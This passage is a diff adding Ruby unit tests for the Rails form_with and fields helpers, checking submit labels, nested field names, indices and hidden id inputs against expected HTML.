+
+  def test_submit_with_object_as_new_record_and_locale_strings
+    with_locale :submit do
+      @post.persisted = false
+      @post.stub(:to_key, nil) do
+        form_with(model: @post) do |f|
+          concat f.submit
+        end
+
+        expected = whole_form("/posts") do
+          "<input name='commit' data-disable-with='Create Post' type='submit' value='Create Post' />"
+        end
+
+        assert_dom_equal expected, output_buffer
+      end
+    end
+  end
+
+  def test_submit_with_object_as_existing_record_and_locale_strings
+    with_locale :submit do
+      form_with(model: @post) do |f|
+        concat f.submit
+      end
+
+      expected = whole_form("/posts/123", method: "patch") do
+        "<input name='commit' data-disable-with='Confirm Post changes' type='submit' value='Confirm Post changes' />"
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_submit_without_object_and_locale_strings
+    with_locale :submit do
+      form_with(scope: :post) do |f|
+        concat f.submit class: "extra"
+      end
+
+      expected = whole_form do
+        "<input name='commit' class='extra' data-disable-with='Save changes' type='submit' value='Save changes' />"
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_submit_with_object_and_nested_lookup
+    with_locale :submit do
+      form_with(model: @post, scope: :another_post) do |f|
+        concat f.submit
+      end
+
+      expected = whole_form("/posts/123", method: "patch") do
+        "<input name='commit' data-disable-with='Update your Post' type='submit' value='Update your Post' />"
+      end
+
+      assert_dom_equal expected, output_buffer
+    end
+  end
+
+  def test_fields_with_attributes_not_on_model
+    form_with(model: @post) do |f|
+      concat f.fields(:comment) { |c|
+        concat c.text_field :dont_exist_on_model
+      }
+    end
+
+    expected = whole_form("/posts/123", method: :patch) do
+      '<input type="text" name="post[comment][dont_exist_on_model]">'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_with_attributes_not_on_model_deep_nested
+    @comment.save
+    form_with(scope: :posts) do |f|
+      f.fields("post[]", model: @post) do |f2|
+        f2.text_field(:id)
+        @post.comments.each do |comment|
+          concat f2.fields("comment[]", model: comment) { |c|
+            concat c.text_field(:dont_exist_on_model)
+          }
+        end
+      end
+    end
+
+    expected = whole_form do
+      '<input name="posts[post][0][comment][1][dont_exist_on_model]" type="text">'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields
+    @comment.body = "Hello World"
+    form_with(model: @post) do |f|
+      concat f.fields(model: @comment) { |c|
+        concat c.text_field(:body)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[comment][body]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_deep_nested_fields
+    @comment.save
+    form_with(scope: :posts) do |f|
+      f.fields("post[]", model: @post) do |f2|
+        f2.text_field(:id)
+        @post.comments.each do |comment|
+          concat f2.fields("comment[]", model: comment) { |c|
+            concat c.text_field(:name)
+          }
+        end
+      end
+    end
+
+    expected = whole_form do
+      "<input name='posts[post][0][comment][1][name]' type='text' value='comment #1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_nested_collections
+    form_with(model: @post, scope: "post[]") do |f|
+      concat f.text_field(:title)
+      concat f.fields("comment[]", model: @comment) { |c|
+        concat c.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[123][title]' type='text' value='Hello World' />" \
+      "<input name='post[123][comment][][name]' type='text' value='new comment' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_index_and_parent_fields
+    form_with(model: @post, index: 1) do |c|
+      concat c.text_field(:title)
+      concat c.fields("comment", model: @comment, index: 1) { |r|
+        concat r.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[1][title]' type='text' value='Hello World' />" \
+      "<input name='post[1][comment][1][name]' type='text' value='new comment' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_with_with_index_and_nested_fields
+    output_buffer = form_with(model: @post, index: 1) do |f|
+      concat f.fields(:comment, model: @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[1][comment][title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_index_on_both
+    form_with(model: @post, index: 1) do |f|
+      concat f.fields(:comment, model: @post, index: 5) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[1][comment][5][title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_auto_index
+    form_with(model: @post, scope: "post[]") do |f|
+      concat f.fields(:comment, model: @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[123][comment][title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_index_radio_button
+    form_with(model: @post) do |f|
+      concat f.fields(:comment, model: @post, index: 5) { |c|
+        concat c.radio_button(:title, "hello")
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[comment][5][title]' type='radio' value='hello' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_auto_index_on_both
+    form_with(model: @post, scope: "post[]") do |f|
+      concat f.fields("comment[]", model: @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[123][comment][123][title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_index_and_auto_index
+    output_buffer = form_with(model: @post, scope: "post[]") do |f|
+      concat f.fields(:comment, model: @post, index: 5) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    output_buffer << form_with(model: @post, index: 1) do |f|
+      concat f.fields("comment[]", model: @post) { |c|
+        concat c.text_field(:title)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[123][comment][5][title]' type='text' value='Hello World' />"
+    end + whole_form("/posts/123", method: "patch") do
+      "<input name='post[1][comment][123][title]' type='text' value='Hello World' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_a_new_record_on_a_nested_attributes_one_to_one_association
+    @post.author = Author.new
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+        '<input name="post[author_attributes][name]" type="text" value="new author" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
+    form_with(model: @post) do |f|
+      f.fields(:author, model: Author.new(123)) do |af|
+        assert_not_nil af.object
+        assert_equal 123, af.object.id
+      end
+    end
+  end
+
+  def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one_association
+    @post.author = Author.new(321)
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one_association_using_erb_and_inline_block
+    @post.author = Author.new(321)
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id
+    @post.author = Author.new(321)
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author, skip_id: true) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_inherited
+    @post.author = Author.new(321)
+
+    form_with(model: @post, skip_id: true) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_override
+    @post.author = Author.new(321)
+
+    form_with(model: @post, skip_id: true) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author, skip_id: false) { |af|
+        af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
+    @post.author = Author.new(321)
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author) { |af|
+        concat af.hidden_field(:id)
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields(:comments, model: comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.author = Author.new(321)
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author) { |af|
+        concat af.text_field(:name)
+      }
+      @post.comments.each do |comment|
+        concat f.fields(:comments, model: comment, skip_id: true) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_inherited
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.author = Author.new(321)
+
+    form_with(model: @post, skip_id: true) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author) { |af|
+        concat af.text_field(:name)
+      }
+      @post.comments.each do |comment|
+        concat f.fields(:comments, model: comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_override
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.author = Author.new(321)
+
+    form_with(model: @post, skip_id: true) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:author, skip_id: false) { |af|
+        concat af.text_field(:name)
+      }
+      @post.comments.each do |comment|
+        concat f.fields(:comments, model: comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_using_erb_and_inline_block
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields(:comments, model: comment) { |cf|
+          cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields(:comments, model: comment) { |cf|
+          concat cf.hidden_field(:id)
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new, Comment.new]
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields(:comments, model: comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="new comment" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_existing_and_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new(321), Comment.new]
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      @post.comments.each do |comment|
+        concat f.fields(:comments, model: comment) { |cf|
+          concat cf.text_field(:name)
+        }
+      end
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_an_empty_supplied_attributes_collection
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      f.fields(:comments, model: []) do |cf|
+        concat cf.text_field(:name)
+      end
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_existing_records_on_a_supplied_nested_attributes_collection
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:comments, model: @post.comments) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_arel_like
+    @post.comments = ArelLike.new
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:comments, model: @post.comments) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_label_translation_with_more_than_10_records
+    @post.comments = Array.new(11) { |id| Comment.new(id + 1) }
+
+    params = 11.times.map { ["post.comments.body", default: [:"comment.body", ""], scope: "helpers.label"] }
+    assert_called_with(I18n, :t, params, returns: "Write body here") do
+      form_with(model: @post) do |f|
+        f.fields(:comments) do |cf|
+          concat cf.label(:body)
+        end
+      end
+    end
+  end
+
+  def test_nested_fields_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
+    comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.comments = []
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:comments, model: comments) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_on_a_nested_attributes_collection_association_yields_only_builder
+    @post.comments = [Comment.new(321), Comment.new]
+    yielded_comments = []
+
+    form_with(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.fields(:comments) { |cf|
+        concat cf.text_field(:name)
+        yielded_comments << cf.object
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[title]" type="text" value="Hello World" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+    assert_equal yielded_comments, @post.comments
+  end
+
+  def test_nested_fields_with_child_index_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_with(model: @post) do |f|
+      concat f.fields(:comments, model: Comment.new(321), child_index: "abc") { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
+      '<input name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_child_index_as_lambda_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_with(model: @post) do |f|
+      concat f.fields(:comments, model: Comment.new(321), child_index: -> { "abc" }) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
+      '<input name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  class FakeAssociationProxy
+    def to_ary
+      [1, 2, 3]
+    end
+  end
+
+  def test_nested_fields_with_child_index_option_override_on_a_nested_attributes_collection_association_with_proxy
+    @post.comments = FakeAssociationProxy.new
+
+    form_with(model: @post) do |f|
+      concat f.fields(:comments, model: Comment.new(321), child_index: "abc") { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
+      '<input name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_index_method_with_existing_records_on_a_nested_attributes_collection_association
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_with(model: @post) do |f|
+      expected = 0
+      @post.comments.each do |comment|
+        f.fields(:comments, model: comment) { |cf|
+          assert_equal expected, cf.index
+          expected += 1
+        }
+      end
+    end
+  end
+
+  def test_nested_fields_index_method_with_existing_and_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new(321), Comment.new]
+
+    form_with(model: @post) do |f|
+      expected = 0
+      @post.comments.each do |comment|
+        f.fields(:comments, model: comment) { |cf|
+          assert_equal expected, cf.index
+          expected += 1
+        }
+      end
+    end
+  end
+
+  def test_nested_fields_index_method_with_existing_records_on_a_supplied_nested_attributes_collection
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_with(model: @post) do |f|
+      expected = 0
+      f.fields(:comments, model: @post.comments) { |cf|
+        assert_equal expected, cf.index
+        expected += 1
+      }
+    end
+  end
+
+  def test_nested_fields_index_method_with_child_index_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_with(model: @post) do |f|
+      f.fields(:comments, model: Comment.new(321), child_index: "abc") { |cf|
+        assert_equal "abc", cf.index
+      }
+    end
+  end
+
+  def test_nested_fields_uses_unique_indices_for_different_collection_associations
+    @post.comments = [Comment.new(321)]
+    @post.tags = [Tag.new(123), Tag.new(456)]
+    @post.comments[0].relevances = []
+    @post.tags[0].relevances = []
+    @post.tags[1].relevances = []
+
+    form_with(model: @post) do |f|
+      concat f.fields(:comments, model: @post.comments[0]) { |cf|
+        concat cf.text_field(:name)
+        concat cf.fields(:relevances, model: CommentRelevance.new(314)) { |crf|
+          concat crf.text_field(:value)
+        }
+      }
+      concat f.fields(:tags, model: @post.tags[0]) { |tf|
+        concat tf.text_field(:value)
+        concat tf.fields(:relevances, model: TagRelevance.new(3141)) { |trf|
+          concat trf.text_field(:value)
+        }
+      }
+      concat f.fields("tags", model: @post.tags[1]) { |tf|
+        concat tf.text_field(:value)
+        concat tf.fields(:relevances, model: TagRelevance.new(31415)) { |trf|
+          concat trf.text_field(:value)
+        }
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
+      '<input name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' \
+      '<input name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
+      '<input name="post[tags_attributes][0][value]" type="text" value="tag #123" />' \
+      '<input name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' \
+      '<input name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' \
+      '<input name="post[tags_attributes][0][id]" type="hidden" value="123" />' \
+      '<input name="post[tags_attributes][1][value]" type="text" value="tag #456" />' \
+      '<input name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' \
+      '<input name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' \
+      '<input name="post[tags_attributes][1][id]" type="hidden" value="456" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_with_hash_like_model
+    @author = HashBackedAuthor.new
+
+    form_with(model: @post) do |f|
+      concat f.fields(:author, model: @author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", method: "patch") do
+      '<input name="post[author_attributes][name]" type="text" value="hash backed author" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields
+    output_buffer = fields(:post, model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_with_index
+    output_buffer = fields("post[]", model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[123][title]' type='text' value='Hello World' />" \
+      "<textarea name='post[123][body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[123][secret]' type='hidden' value='0' />" \
+      "<input name='post[123][secret]' checked='checked' type='checkbox' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_with_nil_index_option_override
+    output_buffer = fields("post[]", model: @post, index: nil) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[][title]' type='text' value='Hello World' />" \
+      "<textarea name='post[][body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[][secret]' type='hidden' value='0' />" \
+      "<input name='post[][secret]' checked='checked' type='checkbox' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_with_index_option_override
+    output_buffer = fields("post[]", model: @post, index: "abc") do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[abc][title]' type='text' value='Hello World' />" \
+      "<textarea name='post[abc][body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[abc][secret]' type='hidden' value='0' />" \
+      "<input name='post[abc][secret]' checked='checked' type='checkbox' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_without_object
+    output_buffer = fields(:post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_with_only_object
+    output_buffer = fields(model: @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_object_with_bracketed_name
+    output_buffer = fields("author[post]", model: @post) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    assert_dom_equal "<label for=\"author_post_title\">Title</label>" \
+    "<input name='author[post][title]' type='text' value='Hello World' />",
+      output_buffer
+  end
+
+  def test_fields_object_with_bracketed_name_and_index
+    output_buffer = fields("author[post]", model: @post, index: 1) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" \
+      "<input name='author[post][1][title]' type='text' value='Hello World' />",
+      output_buffer
+  end
+
+  def test_form_builder_does_not_have_form_with_method
+    assert_not_includes ActionView::Helpers::FormBuilder.instance_methods, :form_with
+  end
+
+  def test_form_with_and_fields
+    form_with(model: @post, scope: :post, id: "create-post") do |post_form|
+      concat post_form.text_field(:title)
+      concat post_form.text_area(:body)
+
+      concat fields(:parent_post, model: @post) { |parent_fields|
+        concat parent_fields.check_box(:secret)
+      }
+    end
+
+    expected = whole_form("/posts/123", "create-post", method: "patch") do
+      "<input name='post[title]' type='text' value='Hello World' />" \
